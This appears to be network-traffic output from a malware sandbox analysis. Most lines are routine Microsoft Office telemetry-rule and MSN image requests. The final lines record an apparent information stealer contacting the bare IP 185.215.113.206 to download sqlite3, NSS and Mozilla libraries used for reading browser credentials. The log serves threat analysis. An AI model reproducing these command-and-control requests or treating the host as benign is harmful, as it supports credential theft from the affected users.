Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WoVE+8AWTKdCxkC&MD=vvATdgG1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
